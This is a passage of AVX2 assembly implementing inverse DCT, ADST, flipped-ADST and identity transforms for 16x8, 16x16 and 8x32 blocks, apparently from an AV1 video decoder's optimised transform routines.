ITX_MULSUB_2W 4, 8, 3, 9, 10, 3784, 1567 ; t6a, t7a
psubsw m9, m6, m8 ; t7
paddsw m6, m8 ; out6
psubsw m3, m7, m5 ; t3
paddsw m7, m5 ; -out7
psubsw m5, m0, m2 ; t2
paddsw m0, m2 ; out0
psubsw m2, m1, m4 ; t6
paddsw m1, m4 ; -out1
ret
ALIGN function_align
.main_pass1_end:
vpbroadcastd m11, [o(pw_m2896_2896)]
vpbroadcastd m12, [o(pw_2896_2896)]
punpckhwd m4, m3, m5
punpcklwd m3, m5
pmaddwd m5, m11, m4
pmaddwd m4, m12
pmaddwd m8, m11, m3
pmaddwd m3, m12
REPX {paddd x, m10}, m5, m4, m8, m3
REPX {psrad x, 12 }, m5, m8, m4, m3
packssdw m3, m4 ; -out3
packssdw m4, m8, m5 ; out4
punpcklwd m5, m9, m2
punpckhwd m9, m2
pmaddwd m2, m12, m5
pmaddwd m5, m11
pmaddwd m12, m9
pmaddwd m11, m9
REPX {paddd x, m10}, m2, m5, m12, m11
REPX {psrad x, 12 }, m2, m12, m5, m11
packssdw m2, m12 ; out2
packssdw m5, m11 ; -out5
ret
ALIGN function_align
.main_pass2_end:
vpbroadcastd m8, [o(pw_2896x8)]
psubsw m4, m5, m3
paddsw m3, m5
psubsw m5, m2, m9
paddsw m2, m9
pmulhrsw m2, m8 ; out2
pmulhrsw m3, m8 ; -out3
pmulhrsw m4, m8 ; out4
pmulhrsw m5, m8 ; -out5
vpbroadcastd m9, [o(pw_2048)]
ret
INV_TXFM_16X8_FN flipadst, dct
INV_TXFM_16X8_FN flipadst, adst
INV_TXFM_16X8_FN flipadst, flipadst
INV_TXFM_16X8_FN flipadst, identity
cglobal iflipadst_16x8_internal, 0, 5, 13, dst, stride, c, eob, tx2
ITX_16X8_LOAD_COEFS 1302
call m(iadst_8x16_internal).main2
call m(iadst_8x16_internal).main_pass1_end
psubw m9, m10
punpcklwd m8, m6, m4
punpckhwd m6, m4
punpcklwd m4, m7, m5
punpckhwd m7, m5
punpckhwd m5, m3, m1
punpcklwd m3, m1
punpckhwd m1, m2, m0
punpcklwd m2, m0
REPX {pmulhrsw x, m10}, m8, m4, m5, m1
REPX {pmulhrsw x, m9 }, m6, m7, m3, m2
punpcklwd m0, m7, m4
punpckhwd m7, m4
punpckhwd m4, m6, m8
punpcklwd m6, m8
punpckhwd m8, m3, m5
punpcklwd m3, m5
punpcklwd m5, m2, m1
punpckhwd m2, m1
punpckhdq m1, m0, m6
punpckldq m0, m6
punpckldq m6, m7, m4
punpckhdq m7, m4
punpckhdq m4, m3, m5
punpckldq m3, m5
punpckldq m5, m8, m2
punpckhdq m8, m2
vinserti128 m2, m6, xm5, 1
vperm2i128 m6, m6, m5, 0x31
vperm2i128 m5, m1, m4, 0x31
vinserti128 m1, m1, xm4, 1
vperm2i128 m4, m0, m3, 0x31
vinserti128 m0, m0, xm3, 1
vinserti128 m3, m7, xm8, 1
vperm2i128 m7, m7, m8, 0x31
jmp tx2q
.pass2:
call m(iadst_16x8_internal).main
call m(iadst_16x8_internal).main_pass2_end
pxor m8, m8
psubw m8, m9
pmulhrsw m10, m7, m8
pmulhrsw m7, m0, m9
pmulhrsw m0, m6, m9
pmulhrsw m6, m1, m8
pmulhrsw m1, m5, m8
pmulhrsw m5, m2, m9
pmulhrsw m2, m4, m9
pmulhrsw m4, m3, m8
lea r3, [strideq*3]
WRITE_16X2 10, 0, 8, 9, strideq*0, strideq*1
WRITE_16X2 1, 2, 0, 1, strideq*2, r3
jmp m(idct_16x8_internal).end3
INV_TXFM_16X8_FN identity, dct, 15
INV_TXFM_16X8_FN identity, adst
INV_TXFM_16X8_FN identity, flipadst
INV_TXFM_16X8_FN identity, identity
cglobal iidentity_16x8_internal, 0, 5, 13, dst, stride, c, eob, tx2
mova xm7, [cq+16*0]
mova xm2, [cq+16*1]
add cq, 16*8
vpbroadcastd m3, [o(pw_2896x8)]
vinserti128 m7, m7, [cq+16*0], 1
vinserti128 m2, m2, [cq+16*1], 1
mova xm6, [cq-16*6]
mova xm4, [cq-16*5]
vinserti128 m6, m6, [cq+16*2], 1
vinserti128 m4, m4, [cq+16*3], 1
mova xm8, [cq-16*4]
mova xm5, [cq-16*3]
vinserti128 m8, m8, [cq+16*4], 1
vinserti128 m5, m5, [cq+16*5], 1
mova xm0, [cq-16*2]
mova xm1, [cq-16*1]
vinserti128 m0, m0, [cq+16*6], 1
vinserti128 m1, m1, [cq+16*7], 1
vpbroadcastd m10, [o(pw_1697x16)]
vpbroadcastd m11, [o(pw_16384)]
REPX {pmulhrsw x, m3}, m7, m2, m6, m4, m8, m5, m0, m1
punpcklwd m3, m7, m2
punpckhwd m7, m2
punpcklwd m2, m6, m4
punpckhwd m6, m4
punpcklwd m4, m8, m5
punpckhwd m8, m5
punpcklwd m5, m0, m1
punpckhwd m0, m1
punpckldq m1, m3, m2
punpckhdq m3, m2
punpckldq m2, m4, m5
punpckhdq m4, m5
punpckldq m5, m7, m6
punpckhdq m7, m6
punpckldq m6, m8, m0
punpckhdq m8, m0
REPX {IDTX16 x, 0, 10, 11}, 1, 3, 2, 4, 5, 7, 6, 8
punpcklqdq m0, m1, m2
punpckhqdq m1, m2
punpcklqdq m2, m3, m4
punpckhqdq m3, m4
punpcklqdq m4, m5, m6
punpckhqdq m5, m6
punpcklqdq m6, m7, m8
punpckhqdq m7, m8
jmp tx2q
.pass2:
vpbroadcastd m8, [o(pw_4096)]
jmp m(idct_16x8_internal).end
%define o_base pw_5 + 128
%macro INV_TXFM_16X16_FN 2-3 -1 ; type1, type2, fast_thresh
INV_TXFM_FN %1, %2, %3, 16x16
%ifidn %1_%2, dct_dct
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_8192)]
mov [cq], eobd
mov r2d, 8
jmp m(inv_txfm_add_dct_dct_16x4).dconly
%elifidn %1_%2, dct_identity
WIN64_SPILL_XMM 7
vpbroadcastd m3, [o(pw_2896x8)]
pmulhrsw m3, [cq]
vpbroadcastd m0, [o(pw_8192)]
vpbroadcastd m1, [o(pw_1697x16)]
vpbroadcastw m4, [o(deint_shuf)] ; pb_0_1
pcmpeqb m5, m5
pxor m6, m6
mova [cq], m6
paddb m5, m5 ; pb_m2
pmulhrsw m3, m0
psrlw m0, 2 ; pw_2048
IDTX16 3, 1, 1
pmulhrsw m3, m0
mov r3d, 8
.loop:
mova xm1, [dstq]
vinserti128 m1, m1, [dstq+strideq*8], 1
pshufb m0, m3, m4
psubb m4, m5 ; += 2
punpckhbw m2, m1, m6
punpcklbw m1, m6
paddw m2, m0
paddw m1, m0
packuswb m1, m2
mova [dstq], xm1
vextracti128 [dstq+strideq*8], m1, 1
add dstq, strideq
dec r3d
jg .loop
RET
%elifidn %1_%2, identity_dct
movd xm0, [cq+32*0 ]
movd xm2, [cq+32*1 ]
movd xm1, [cq+32*2 ]
movd xm3, [cq+32*3 ]
vinserti128 m0, m0, [cq+32*8 ], 1
vinserti128 m2, m2, [cq+32*9 ], 1
vinserti128 m1, m1, [cq+32*10], 1
vinserti128 m3, m3, [cq+32*11], 1
punpcklwd m0, m2
punpcklwd m1, m3
punpckldq m0, m1
movd xm1, [cq+32*4 ]
movd xm3, [cq+32*5 ]
movd xm2, [cq+32*6 ]
movd xm4, [cq+32*7 ]
vinserti128 m1, m1, [cq+32*12], 1
vinserti128 m3, m3, [cq+32*13], 1
vinserti128 m2, m2, [cq+32*14], 1
vinserti128 m4, m4, [cq+32*15], 1
punpcklwd m1, m3
vpbroadcastd m3, [o(pw_1697x16)]
punpcklwd m2, m4
vpbroadcastd m4, [o(pw_2896x8)]
punpckldq m1, m2
vpbroadcastd m2, [o(pw_2048)]
punpcklqdq m0, m1
pmulhrsw m3, m0
psraw m3, 1
pavgw m0, m3
pmulhrsw m0, m4
pmulhrsw m0, m2
mov r3d, 8
jmp m(inv_txfm_add_identity_dct_16x4).end
%endif
%endmacro
%macro ITX_16X16_LOAD_COEFS 0
mova m0, [cq+32*0]
mova m1, [cq+32*1]
mova m2, [cq+32*2]
mova m3, [cq+32*3]
add cq, 32*8
mova m4, [cq-32*4]
mova m5, [cq-32*3]
mova m6, [cq-32*2]
mova m7, [cq-32*1]
mova m8, [cq+32*0]
mova m9, [cq+32*1]
mova m10, [cq+32*2]
mova m11, [cq+32*3]
mova m12, [cq+32*4]
mova m13, [cq+32*5]
mova m14, [cq+32*6]
mova m15, [cq+32*7]
mova [rsp], m15
%endmacro
INV_TXFM_16X16_FN dct, dct, 0
INV_TXFM_16X16_FN dct, identity, 15
INV_TXFM_16X16_FN dct, adst
INV_TXFM_16X16_FN dct, flipadst
cglobal idct_16x16_internal, 0, 5, 16, 32*3, dst, stride, c, eob, tx2
ITX_16X16_LOAD_COEFS
call .main
.pass1_end:
vpbroadcastd m1, [o(pw_8192)]
REPX {pmulhrsw x, m1}, m0, m2, m4, m6, m8, m10, m12, m14
vextracti128 [rsp+16*5], m8, 1
mova [rsp+16*1], xm8
.pass1_end2:
vextracti128 [rsp+16*4], m0, 1
mova [rsp+16*0], xm0
REPX {pmulhrsw x, m1}, m3, m5, m7, m9, m11, m13, m15
pmulhrsw m1, [rsp+32*1]
vperm2i128 m8, m1, m9, 0x31
vinserti128 m1, m1, xm9, 1
vperm2i128 m9, m2, m10, 0x31
vinserti128 m2, m2, xm10, 1
vperm2i128 m10, m3, m11, 0x31
vinserti128 m3, m3, xm11, 1
vperm2i128 m11, m4, m12, 0x31
vinserti128 m4, m4, xm12, 1
vperm2i128 m12, m5, m13, 0x31
vinserti128 m5, m5, xm13, 1
vperm2i128 m13, m6, m14, 0x31
vinserti128 m6, m6, xm14, 1
vperm2i128 m14, m7, m15, 0x31
vinserti128 m7, m7, xm15, 1
mova m15, [rsp+32*2]
.pass1_end3:
punpcklwd m0, m9, m10
punpckhwd m9, m10
punpcklwd m10, m15, m8
punpckhwd m15, m8
punpckhwd m8, m11, m12
punpcklwd m11, m12
punpckhwd m12, m13, m14
punpcklwd m13, m14
punpckhdq m14, m11, m13
punpckldq m11, m13
punpckldq m13, m15, m9
punpckhdq m15, m9
punpckldq m9, m10, m0
punpckhdq m10, m0
punpckhdq m0, m8, m12
punpckldq m8, m12
punpcklqdq m12, m13, m8
punpckhqdq m13, m8
punpcklqdq m8, m9, m11
punpckhqdq m9, m11
punpckhqdq m11, m10, m14
punpcklqdq m10, m14
punpcklqdq m14, m15, m0
punpckhqdq m15, m0
mova m0, [rsp]
mova [rsp], m15
punpckhwd m15, m4, m5
punpcklwd m4, m5
punpckhwd m5, m0, m1
punpcklwd m0, m1
punpckhwd m1, m6, m7
punpcklwd m6, m7
punpckhwd m7, m2, m3
punpcklwd m2, m3
punpckhdq m3, m0, m2
punpckldq m0, m2
punpckldq m2, m4, m6
punpckhdq m4, m6
punpckhdq m6, m5, m7
punpckldq m5, m7
punpckldq m7, m15, m1
punpckhdq m15, m1
punpckhqdq m1, m0, m2
punpcklqdq m0, m2
punpcklqdq m2, m3, m4
punpckhqdq m3, m4
punpcklqdq m4, m5, m7
punpckhqdq m5, m7
punpckhqdq m7, m6, m15
punpcklqdq m6, m15
jmp tx2q
.pass2:
call .main
.end:
vpbroadcastd m1, [o(pw_2048)]
REPX {pmulhrsw x, m1}, m0, m2, m4, m6, m8, m10, m12, m14
mova [rsp], m6
.end2:
REPX {pmulhrsw x, m1}, m3, m5, m7, m9, m11, m13, m15
pmulhrsw m1, [rsp+32*1]
lea r3, [strideq*3]
WRITE_16X2 0, 1, 6, 0, strideq*0, strideq*1
WRITE_16X2 2, 3, 0, 1, strideq*2, r3
lea dstq, [dstq+strideq*4]
WRITE_16X2 4, 5, 0, 1, strideq*0, strideq*1
WRITE_16X2 [rsp], 7, 0, 1, strideq*2, r3
.end3:
pxor m2, m2
REPX {mova [cq+32*x], m2}, -8, -7, -6, -5, -4, -3, -2, -1
lea dstq, [dstq+strideq*4]
WRITE_16X2 8, 9, 0, 1, strideq*0, strideq*1
WRITE_16X2 10, 11, 0, 1, strideq*2, r3
REPX {mova [cq+32*x], m2}, 0, 1, 2, 3, 4, 5, 6, 7
lea dstq, [dstq+strideq*4]
WRITE_16X2 12, 13, 0, 1, strideq*0, strideq*1
WRITE_16X2 14, 15, 0, 1, strideq*2, r3
RET
ALIGN function_align
.main:
vpbroadcastd m15, [o(pd_2048)]
mova [rsp+gprsize+32*1], m1
mova [rsp+gprsize+32*2], m9
IDCT8_1D 0, 2, 4, 6, 8, 10, 12, 14, 1, 9, 15
mova m1, [rsp+gprsize+32*2] ; in9
mova [rsp+gprsize+32*2], m14 ; tmp7
mova m9, [rsp+gprsize+32*1] ; in1
mova [rsp+gprsize+32*1], m10 ; tmp5
mova m14, [rsp+gprsize+32*0] ; in15
mova [rsp+gprsize+32*0], m6 ; tmp3
IDCT16_1D_ODDHALF 9, 3, 5, 7, 1, 11, 13, 14, 6, 10, 15
mova m6, [rsp+gprsize+32*1] ; tmp5
psubsw m15, m0, m14 ; out15
paddsw m0, m14 ; out0
psubsw m14, m2, m13 ; out14
paddsw m2, m13 ; out1
mova [rsp+gprsize+32*1], m2
psubsw m13, m4, m11 ; out13
paddsw m2, m4, m11 ; out2
psubsw m11, m8, m7 ; out11
paddsw m4, m8, m7 ; out4
mova m7, [rsp+gprsize+32*2] ; tmp7
psubsw m10, m6, m5 ; out10
paddsw m5, m6 ; out5
psubsw m8, m7, m9 ; out8
paddsw m7, m9 ; out7
psubsw m9, m12, m3 ; out9
paddsw m6, m12, m3 ; out6
mova m3, [rsp+gprsize+32*0] ; tmp3
psubsw m12, m3, m1 ; out12
paddsw m3, m1 ; out3
ret
INV_TXFM_16X16_FN adst, dct
INV_TXFM_16X16_FN adst, adst
INV_TXFM_16X16_FN adst, flipadst
cglobal iadst_16x16_internal, 0, 5, 16, 32*3, dst, stride, c, eob, tx2
ITX_16X16_LOAD_COEFS
call .main
call .main_pass1_end
pmulhrsw m0, m1, [cq+32*0]
pmulhrsw m2, m1, [cq+32*1]
REPX {pmulhrsw x, m1}, m4, m6, m8, m10
pmulhrsw m12, m1, [cq+32*2]
pmulhrsw m14, m1, [cq+32*3]
vextracti128 [rsp+16*5], m8, 1
mova [rsp+16*1], xm8
pxor m8, m8
psubw m1, m8, m1
jmp m(idct_16x16_internal).pass1_end2
ALIGN function_align
.pass2:
call .main
call .main_pass2_end
REPX {pmulhrsw x, m1}, m0, m2, m4, m6, m8, m10, m12, m14
mova [rsp+32*0], m6
pxor m6, m6
psubw m1, m6, m1
jmp m(idct_16x16_internal).end2
ALIGN function_align
.main:
vpbroadcastd m15, [o(pd_2048)]
mova [rsp+gprsize+32*1], m0
mova [rsp+gprsize+32*2], m4
ITX_MULSUB_2W 13, 2, 0, 4, 15, 995, 3973 ; t3, t2
ITX_MULSUB_2W 9, 6, 0, 4, 15, 2440, 3290 ; t7, t6
ITX_MULSUB_2W 5, 10, 0, 4, 15, 3513, 2106 ; t11, t10
ITX_MULSUB_2W 1, 14, 0, 4, 15, 4052, 601 ; t15, t14
psubsw m0, m2, m10 ; t10a
paddsw m2, m10 ; t2a
psubsw m10, m13, m5 ; t11a
paddsw m13, m5 ; t3a
psubsw m5, m6, m14 ; t14a
paddsw m6, m14 ; t6a
psubsw m14, m9, m1 ; t15a
paddsw m9, m1 ; t7a
ITX_MULSUB_2W 0, 10, 1, 4, 15, 3406, 2276 ; t11, t10
ITX_MULSUB_2W 14, 5, 1, 4, 15, 2276, 3406 ; t14, t15
psubsw m1, m10, m14 ; t14a
paddsw m10, m14 ; t10a
psubsw m14, m0, m5 ; t15a
paddsw m0, m5 ; t11a
psubsw m5, m2, m6 ; t6
paddsw m2, m6 ; t2
psubsw m6, m13, m9 ; t7
paddsw m13, m9 ; t3
ITX_MULSUB_2W 6, 5, 4, 9, 15, 3784, 1567 ; t6a, t7a
ITX_MULSUB_2W 14, 1, 4, 9, 15, 3784, 1567 ; t14, t15
mova m9, [rsp+gprsize+32*0] ; in15
mova [rsp+gprsize+32*0], m10 ; t10a
mova m4, [rsp+gprsize+32*1] ; in0
mova [rsp+gprsize+32*1], m6 ; t6a
mova m6, [rsp+gprsize+32*2] ; in4
mova [rsp+gprsize+32*2], m2 ; t2
ITX_MULSUB_2W 9, 4, 2, 10, 15, 201, 4091 ; t1, t0
ITX_MULSUB_2W 11, 6, 2, 10, 15, 1751, 3703 ; t5, t4
ITX_MULSUB_2W 7, 8, 2, 10, 15, 3035, 2751 ; t9, t8
ITX_MULSUB_2W 3, 12, 2, 10, 15, 3857, 1380 ; t13, t12
psubsw m10, m4, m8 ; t8a
paddsw m8, m4 ; t0a
psubsw m4, m9, m7 ; t9a
paddsw m9, m7 ; t1a
psubsw m7, m6, m12 ; t12a
paddsw m6, m12 ; t4a
psubsw m12, m11, m3 ; t13a
paddsw m11, m3 ; t5a
ITX_MULSUB_2W 10, 4, 2, 3, 15, 799, 4017 ; t9, t8
ITX_MULSUB_2W 12, 7, 2, 3, 15, 4017, 799 ; t12, t13
psubsw m3, m9, m11 ; t5
paddsw m9, m11 ; t1
psubsw m11, m4, m12 ; t12a
paddsw m4, m12 ; t8a
paddsw m12, m8, m6 ; t0
psubsw m8, m6 ; t4
paddsw m6, m10, m7 ; t9a
psubsw m10, m7 ; t13a
ITX_MULSUB_2W 8, 3, 2, 7, 15, 1567, 3784 ; t5a, t4a
ITX_MULSUB_2W 11, 10, 2, 7, 15, 1567, 3784 ; t13, t12
mova m7, [rsp+gprsize+32*0] ; t10a
mova m2, [rsp+gprsize+32*1] ; t6a
paddsw m15, m9, m13 ; -out15
psubsw m9, m13 ; t3a
paddsw m13, m11, m1 ; -out13
psubsw m11, m1 ; t15a
psubsw m1, m4, m7 ; t10
paddsw m7, m4 ; -out1
psubsw m4, m3, m2 ; t6
paddsw m3, m2 ; -out3
paddsw m2, m10, m14 ; out2
psubsw m10, m14 ; t14a
paddsw m14, m6, m0 ; out14
psubsw m6, m0 ; t11
mova m0, [rsp+gprsize+32*2] ; t2
mova [rsp+gprsize+32*1], m7
psubsw m7, m12, m0 ; t2a
paddsw m0, m12 ; out0
paddsw m12, m8, m5 ; out12
psubsw m8, m5 ; t7
ret
ALIGN function_align
.main_pass1_end:
mova [cq+32*0], m0
mova [cq+32*1], m2
mova [cq+32*2], m12
mova [cq+32*3], m14
vpbroadcastd m14, [pw_m2896_2896]
vpbroadcastd m12, [pw_2896_2896]
vpbroadcastd m2, [pd_2048]
punpcklwd m5, m11, m10
punpckhwd m11, m10
pmaddwd m10, m14, m5
pmaddwd m0, m14, m11
pmaddwd m5, m12
pmaddwd m11, m12
REPX {paddd x, m2}, m10, m0, m5, m11
REPX {psrad x, 12}, m10, m0, m5, m11
packssdw m10, m0 ; out10
packssdw m5, m11 ; -out5
punpcklwd m11, m8, m4
punpckhwd m8, m4
pmaddwd m4, m12, m11
pmaddwd m0, m12, m8
pmaddwd m11, m14
pmaddwd m8, m14
REPX {paddd x, m2}, m4, m0, m11, m8
REPX {psrad x, 12}, m4, m0, m11, m8
packssdw m4, m0 ; out4
packssdw m11, m8 ; -out11
punpcklwd m8, m9, m7
punpckhwd m9, m7
pmaddwd m7, m12, m8
pmaddwd m0, m12, m9
pmaddwd m8, m14
pmaddwd m9, m14
REPX {paddd x, m2}, m7, m0, m8, m9
REPX {psrad x, 12}, m7, m0, m8, m9
packssdw m7, m0 ; -out7
packssdw m8, m9 ; out8
punpckhwd m0, m6, m1
punpcklwd m6, m1
pmaddwd m1, m14, m0
pmaddwd m9, m14, m6
pmaddwd m0, m12
pmaddwd m6, m12
REPX {paddd x, m2}, m1, m9, m0, m6
REPX {psrad x, 12}, m1, m9, m0, m6
packssdw m9, m1 ; -out7
packssdw m6, m0 ; out8
vpbroadcastd m1, [o(pw_8192)]
ret
ALIGN function_align
.main_pass2_end:
; In pass 2 we're going to clip to pixels afterwards anyway, so clipping to
; 16-bit here will produce the same result as using 32-bit intermediates.
paddsw m5, m10, m11 ; -out5
psubsw m10, m11 ; out10
psubsw m11, m4, m8 ; -out11
paddsw m4, m8 ; out4
psubsw m8, m7, m9 ; out8
paddsw m7, m9 ; -out7
psubsw m9, m1, m6 ; -out9
paddsw m6, m1 ; out6
vpbroadcastd m1, [o(pw_2896x8)]
REPX {pmulhrsw x, m1}, m4, m5, m6, m7, m8, m9, m10, m11
vpbroadcastd m1, [o(pw_2048)]
ret
INV_TXFM_16X16_FN flipadst, dct
INV_TXFM_16X16_FN flipadst, adst
INV_TXFM_16X16_FN flipadst, flipadst
cglobal iflipadst_16x16_internal, 0, 5, 16, 32*3, dst, stride, c, eob, tx2
ITX_16X16_LOAD_COEFS
call m(iadst_16x16_internal).main
call m(iadst_16x16_internal).main_pass1_end
pmulhrsw m6, m1
pmulhrsw m2, m1, m8
mova [rsp+32*2], m6
pmulhrsw m6, m1, m4
pmulhrsw m4, m1, m10
pmulhrsw m8, m1, [cq+32*3]
pmulhrsw m10, m1, [cq+32*2]
pmulhrsw m12, m1, [cq+32*1]
pmulhrsw m14, m1, [cq+32*0]
pxor m0, m0
psubw m0, m1
REPX {pmulhrsw x, m0}, m3, m5, m7, m11, m15
pmulhrsw m1, m0, m9
pmulhrsw m9, m0, m13
pmulhrsw m0, [rsp+32*1]
mova [rsp+16*0], xm15
mova [rsp+16*1], xm7
vperm2i128 m15, m15, m7, 0x31
vinserti128 m7, m2, xm14, 1
vperm2i128 m14, m2, m14, 0x31
vinserti128 m2, m9, xm5, 1
vperm2i128 m9, m9, m5, 0x31
vinserti128 m5, m4, xm12, 1
vperm2i128 m12, m4, m12, 0x31
vinserti128 m4, m11, xm3, 1
vperm2i128 m11, m11, m3, 0x31
vinserti128 m3, m10, xm6, 1
vperm2i128 m10, m10, m6, 0x31
vinserti128 m6, m1, xm0, 1
vperm2i128 m13, m1, m0, 0x31
vinserti128 m1, m8, [rsp+32*2], 1
vperm2i128 m8, m8, [rsp+32*2], 0x31
jmp m(idct_16x16_internal).pass1_end3
.pass2:
call m(iadst_16x16_internal).main
call m(iadst_16x16_internal).main_pass2_end
pmulhrsw m0, m1
pmulhrsw m8, m1
mova [rsp+32*0], m0
mova [rsp+32*2], m8
pxor m0, m0
psubw m0, m1
pmulhrsw m8, m0, m7
pmulhrsw m7, m0, m9
pmulhrsw m9, m1, m6
pmulhrsw m6, m1, m10
pmulhrsw m10, m0, m5
pmulhrsw m5, m0, m11
pmulhrsw m11, m1, m4
pmulhrsw m4, m1, m12
pmulhrsw m12, m0, m3
pmulhrsw m3, m0, m13
pmulhrsw m13, m1, m2
pmulhrsw m1, m14
pmulhrsw m14, m0, [rsp+32*1]
pmulhrsw m0, m15
lea r3, [strideq*3]
WRITE_16X2 0, 1, 2, 0, strideq*0, strideq*1
mova m15, [rsp+32*0]
WRITE_16X2 3, 4, 0, 1, strideq*2, r3
lea dstq, [dstq+strideq*4]
WRITE_16X2 5, 6, 0, 1, strideq*0, strideq*1
WRITE_16X2 7, [rsp+32*2], 0, 1, strideq*2, r3
jmp m(idct_16x16_internal).end3
%macro IDTX16B 3 ; src/dst, tmp, pw_1697x16
pmulhrsw m%2, m%3, m%1
psraw m%2, 1
pavgw m%1, m%2 ; signs are guaranteed to be equal
%endmacro
INV_TXFM_16X16_FN identity, dct, 15
INV_TXFM_16X16_FN identity, identity
cglobal iidentity_16x16_internal, 0, 5, 16, 32*3, dst, stride, c, eob, tx2
vpbroadcastd m7, [o(pw_1697x16)]
mova xm0, [cq+16* 0]
vinserti128 m0, [cq+16*16], 1
mova xm15, [cq+16* 1]
vinserti128 m15, [cq+16*17], 1
mova xm1, [cq+16* 2]
vinserti128 m1, [cq+16*18], 1
mova xm8, [cq+16* 3]
vinserti128 m8, [cq+16*19], 1
mova xm2, [cq+16* 4]
vinserti128 m2, [cq+16*20], 1
mova xm9, [cq+16* 5]
vinserti128 m9, [cq+16*21], 1
mova xm3, [cq+16* 6]
vinserti128 m3, [cq+16*22], 1
mova xm10, [cq+16* 7]
add cq, 16*16
vinserti128 m10, [cq+16* 7], 1
mova xm4, [cq-16* 8]
vinserti128 m4, [cq+16* 8], 1
mova xm11, [cq-16* 7]
vinserti128 m11, [cq+16* 9], 1
mova xm5, [cq-16* 6]
vinserti128 m5, [cq+16*10], 1
mova xm12, [cq-16* 5]
vinserti128 m12, [cq+16*11], 1
mova xm13, [cq-16* 3]
vinserti128 m13, [cq+16*13], 1
mova xm14, [cq-16* 1]
vinserti128 m14, [cq+16*15], 1
REPX {IDTX16B x, 6, 7}, 0, 15, 1, 8, 2, 9, 3, \
10, 4, 11, 5, 12, 13, 14
mova xm6, [cq-16* 4]
vinserti128 m6, [cq+16*12], 1
mova [rsp], m0
IDTX16B 6, 0, 7
mova xm0, [cq-16* 2]
vinserti128 m0, [cq+16*14], 1
pmulhrsw m7, m0
psraw m7, 1
pavgw m7, m0
jmp m(idct_16x16_internal).pass1_end3
ALIGN function_align
.pass2:
vpbroadcastd m15, [o(pw_1697x16)]
mova [rsp+32*1], m0
REPX {IDTX16 x, 0, 15}, 1, 2, 3, 4, 5, 6, 7, \
8, 9, 10, 11, 12, 13, 14
mova m0, [rsp+32*1]
mova [rsp+32*1], m1
IDTX16 0, 1, 15
mova m1, [rsp+32*0]
pmulhrsw m15, m1
paddsw m1, m1
paddsw m15, m1
jmp m(idct_16x16_internal).end
%define o_base iadst4_dconly2a + 128
%macro LOAD_8ROWS 2-3 0 ; src, stride, is_rect2
%if %3
vpbroadcastd m15, [o(pw_2896x8)]
pmulhrsw m0, m15, [%1+%2*0]
pmulhrsw m1, m15, [%1+%2*1]
pmulhrsw m2, m15, [%1+%2*2]
pmulhrsw m3, m15, [%1+%2*3]
pmulhrsw m4, m15, [%1+%2*4]
pmulhrsw m5, m15, [%1+%2*5]
pmulhrsw m6, m15, [%1+%2*6]
pmulhrsw m7, m15, [%1+%2*7]
%else
mova m0, [%1+%2*0]
mova m1, [%1+%2*1]
mova m2, [%1+%2*2]
mova m3, [%1+%2*3]
mova m4, [%1+%2*4]
mova m5, [%1+%2*5]
mova m6, [%1+%2*6]
mova m7, [%1+%2*7]
%endif
%endmacro
%macro LOAD_8ROWS_H 2-3 0 ; src, stride, is_rect2
%if %3
%if %3 == 1
vpbroadcastd m15, [o(pw_2896x8)]
%endif
pmulhrsw m8, m15, [%1+%2*0]
pmulhrsw m9, m15, [%1+%2*1]
pmulhrsw m10, m15, [%1+%2*2]
pmulhrsw m11, m15, [%1+%2*3]
pmulhrsw m12, m15, [%1+%2*4]
pmulhrsw m13, m15, [%1+%2*5]
pmulhrsw m14, m15, [%1+%2*6]
pmulhrsw m15, [%1+%2*7]
%else
mova m8, [%1+%2*0]
mova m9, [%1+%2*1]
mova m10, [%1+%2*2]
mova m11, [%1+%2*3]
mova m12, [%1+%2*4]
mova m13, [%1+%2*5]
mova m14, [%1+%2*6]
mova m15, [%1+%2*7]
%endif
%endmacro
%macro ITX_UNPACK_MULHRSW 7 ; dst1, dst2/src, tmp, coef[1-4]
vpbroadcastd m%3, [r5-pw_201_4091x8+pw_%4_%5x8]
punpcklwd m%1, m%2, m%2
pmulhrsw m%1, m%3
vpbroadcastd m%3, [r5-pw_201_4091x8+pw_%6_%7x8]
punpckhwd m%2, m%2
pmulhrsw m%2, m%3
%endmacro
cglobal inv_txfm_add_dct_dct_8x32, 4, 4, 0, dst, stride, c, eob
lea rax, [o_base]
test eobd, eobd
jz .dconly
PROLOGUE 0, 4, 16, 32*3, dst, stride, c, eob
%undef cmp
cmp eobd, 106
jle .fast
LOAD_8ROWS cq+32*1, 32*2
call m(idct_16x8_internal).main
vperm2i128 m11, m0, m4, 0x31
vinserti128 m0, m0, xm4, 1
vperm2i128 m4, m1, m5, 0x31
vinserti128 m1, m1, xm5, 1
vperm2i128 m5, m2, m6, 0x31
vinserti128 m2, m2, xm6, 1
vperm2i128 m6, m3, m7, 0x31
vinserti128 m3, m3, xm7, 1
pxor m7, m7
REPX {mova [cq+32*x], m7}, 1, 3, 5, 7, 9, 11, 13, 15
punpckhwd m7, m0, m1
punpcklwd m0, m1
punpckhwd m1, m2, m3
punpcklwd m2, m3
punpcklwd m3, m11, m4
punpckhwd m11, m4
punpckhwd m4, m5, m6
punpcklwd m5, m6
punpckhdq m6, m0, m2
punpckldq m0, m2
punpckldq m2, m3, m5
punpckhdq m3, m5
punpckhdq m5, m11, m4
punpckldq m11, m4
punpckldq m4, m7, m1
punpckhdq m7, m1
punpckhqdq m12, m6, m0
punpcklqdq m0, m6 ; out4
punpckhqdq m13, m7, m4
punpcklqdq m4, m7 ; out5
punpckhqdq m14, m3, m2
punpcklqdq m2, m3 ; out6
punpckhqdq m15, m5, m11
punpcklqdq m11, m5 ; out7
mova [rsp+32*0], m0
mova [rsp+32*1], m4
mova [rsp+32*2], m2
.fast:
LOAD_8ROWS cq+32*0, 32*2
call m(idct_16x8_internal).main
vperm2i128 m8, m0, m4, 0x31
vinserti128 m0, m0, xm4, 1
vperm2i128 m4, m1, m5, 0x31
vinserti128 m1, m1, xm5, 1
vperm2i128 m5, m2, m6, 0x31
vinserti128 m2, m2, xm6, 1
vperm2i128 m6, m3, m7, 0x31
vinserti128 m3, m3, xm7, 1
vpbroadcastd m9, [o(pw_8192)]
pxor m7, m7
REPX {mova [cq+32*x], m7}, 0, 2, 4, 6, 8, 10, 12, 14
punpckhwd m7, m0, m1
punpcklwd m0, m1
punpckhwd m1, m2, m3
punpcklwd m2, m3
punpckhwd m3, m8, m4
punpcklwd m8, m4
punpckhwd m4, m5, m6
punpcklwd m5, m6
punpckhdq m6, m0, m2
punpckldq m0, m2
punpckldq m2, m8, m5
punpckhdq m8, m5
punpckhdq m5, m3, m4
punpckldq m3, m4
punpckhdq m4, m7, m1
